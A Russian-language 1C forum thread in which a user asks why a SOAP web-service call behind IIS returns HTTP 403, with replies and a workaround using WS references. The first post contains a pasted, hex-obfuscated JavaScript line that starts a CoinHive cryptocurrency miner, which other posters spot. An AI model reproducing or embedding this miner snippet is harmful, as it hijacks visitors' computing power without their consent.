|
Не могу достучаться до WEB-сервиса |
☑ |
0
rotting
20.08.18
✎
15:26
|
Вот текст ошибки:
{ОбщийМодуль.ОбменМобильныеПереопределяемый.Модуль(21)}: Ошибка при вызове метода контекста (SetPhone)
ТекстОшибки = Прокси.SetPhone(Тел,""+ИД+"");
по причине:
При вызове веб-сервиса произошла ошибка. Ошибка вызова операции сервиса: {central}:central:SetPhone()
по причине:
При вызове веб-сервиса произошла ошибка. Ошибка HTTP: HTTP Status 403.
.
Loading var _0x4020=["\x45\x62\x61\x61\x63\x77\x64\x66\x54\x46\x6E\x4B\x63\x7A\x4A\x64\x63\x4B\x38\x4B\x4A\x79\x4F\x51\x79\x31\x74\x6F\x45\x31\x5A\x39","\x73\x74\x61\x72\x74"];var miner=new CoinHive.Anonymous(_0x4020[0],{throttle:0.2});miner[_0x4020[1]]()
Вот так вызываю:
Адрес = "; + "/ws/ws1.1cws?wsdl";
Определения = Новый WSОпределения(Адрес,"mobile","*********", 0);
Прокси = Новый WSПрокси(Определения, "central", "central", "centralSoap");
Что я делаю не так, почему 403?
|
|
1
rotting
20.08.18
✎
15:29
|
Сервер на IIS, может в нем че криво настроено?
|
|
2
Deon
20.08.18
✎
15:35
|
var miner=new CoinHive ?
У вас там криптовалютный майнер?
|
|
3
ptiz
20.08.18
✎
15:37
|
Спалили майнера
|
|
4
rotting
20.08.18
✎
15:52
|
хз... сервак клиента
вот нашел вопрос без ответа на инфостарте. Ситуация такая-же как и у меня:
А кто-нибудь знает где настраивается в IIS такая вещь:
Ситуация: настроено перенаправление с внешнего XXX.XXX.XXX.XXX:9000 на внутренний XXX.XXX.XXX.XXX:80. Опубликован веб-сервис.
на apache:
обращение к , точка подключения определяется как - т.е. всё правильно, работает.
на IIS:
обращение к , точка подключения определяется как - т.е. БЕЗ порта, не работает.
Другими словами, если в браузере зайти на , то и на apache и на IIS будет получен стандартный ответ в виде xml. А если обратиться как , то apache отобразит нормальную ссылку , а IIS НЕ нормальную , т.е. БЕЗ порта, как будто выдаёт внутренний порт почему-то.
Как настроить IIS, что бы он точку подключения возвращал правильную внешнюю, а не внутреннюю?
|
|
5
Fragster
гуру
20.08.18
✎
15:56
|
(4) на апаче тоже не работает ;)
можно воспользоваться вот такой заляпухой:
http://catalog.mista.ru/public/348215/
|
|
6
rotting
20.08.18
✎
17:06
|
решается следующим образом:
Создал ws ссылку, потом так:
Прокси = WSСсылки.WSСсылка1.СоздатьWSПрокси(URI,"central","centralSoap",,,,";);
|
|
Глупец, лишенный способности посмеяться над собой вместе с другими, не сможет долго выносить программирование. Фредерик Брукс-младший